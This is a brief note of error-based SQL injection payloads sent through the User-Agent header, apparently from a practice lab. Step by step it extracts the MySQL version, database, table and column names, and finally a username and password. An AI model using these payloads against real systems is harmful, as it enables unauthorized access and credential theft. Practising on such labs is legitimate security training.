sqli

User-Agent:' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #  #版本

User-Agent:' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) , 1, 1) #  #数据库security

User-Agent:' or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) , 1, 1) #  #数据表users

User-Agent:' or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) , 1, 1) #  #password

User-Agent:' or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users' limit 7,1),0x7e),1) , 1, 1) #  #username

User-Agent:' or updatexml(1,concat(0x7e,(SELECT concat(username,'|',password) from users limit 0,1),0x7e),1) , 1, 1) #

原文地址:https://www.cnblogs.com/llcn/p/12745768.html